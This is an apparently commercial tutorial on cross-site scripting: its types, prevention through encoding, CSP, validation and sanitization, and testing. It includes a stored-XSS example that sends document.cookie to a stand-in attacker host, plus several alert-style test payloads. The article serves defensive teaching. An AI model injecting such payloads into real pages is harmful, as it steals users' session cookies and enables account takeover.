Cross-Site Scripting (XSS) Attacks Explained
Learn about different types of XSS attacks, how they work, and effective prevention strategies
Cross-Site Scripting (XSS) is one of the most common web application vulnerabilities, allowing attackers to inject malicious scripts into web pages viewed by other users. Understanding XSS is crucial for developing secure web applications.
What is XSS?
XSS attacks enable attackers to inject client-side scripts into web pages. When other users view these pages, the malicious scripts execute in their browsers, potentially stealing sensitive data, session tokens, or performing actions on behalf of the victim.
Types of XSS Attacks
1. Stored XSS (Persistent)
The most dangerous type, where malicious scripts are permanently stored on the target server (in a database, forum, comment field, etc.) and executed every time users access the affected page.
Example Attack:
<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>2. Reflected XSS
Malicious scripts are reflected off the web server in error messages, search results, or any response that includes user input. These attacks require the victim to click a malicious link.
Example URL:
https://example.com/search?q=<script>alert("XSS")</script>3. DOM-based XSS
The vulnerability exists in client-side code rather than server-side. The attack payload is executed as a result of modifying the DOM environment in the victim's browser.
Prevention Strategies
1. Output Encoding
Always encode user-supplied data before displaying it. HTML-encode data when inserting into HTML context, JavaScript-encode when inserting into JavaScript, and URL-encode when inserting into URLs.
React (automatic encoding):
<div>{userInput}</div>Dangerous (avoid):
<div dangerouslySetInnerHTML={{__html: userInput}} />2. Content Security Policy (CSP)
Implement a strong Content Security Policy header to restrict which scripts can execute. CSP prevents inline scripts and limits script sources to trusted domains.
Example CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; object-src 'none'3. Input Validation
Validate all user input on the server side. Use allowlists for expected input formats and reject anything that doesn't match. Never trust client-side validation alone.
4. Use Security Headers
Essential Security Headers:
- X-XSS-Protection: 1; mode=block
- X-Content-Type-Options: nosniff
- X-Frame-Options: DENY
- Content-Security-Policy: [your policy]
5. Use Modern Frameworks
Modern frameworks like React, Vue, and Angular provide automatic XSS protection through context-aware encoding. However, you must avoid bypassing these protections with dangerous APIs like dangerouslySetInnerHTML or v-html.
6. Sanitize Rich Text
If you must allow HTML input (rich text editors), use a trusted sanitization library like DOMPurify to remove dangerous elements and attributes while preserving safe HTML.
Testing for XSS
Regular security testing is essential. Test all input fields with XSS payloads, use automated scanning tools, and conduct manual penetration testing. Common test payloads include:
<script>alert(1)</script><img src=x onerror=alert(1)><svg onload=alert(1)>Conclusion
XSS vulnerabilities can have serious consequences, from stolen credentials to complete account takeover. Prevention requires a defense-in-depth approach: output encoding, CSP, input validation, and security headers working together.
All Web Security specializes in identifying and remediating XSS vulnerabilities through comprehensive security testing. Contact us at info@allwebsecurity.online to protect your applications.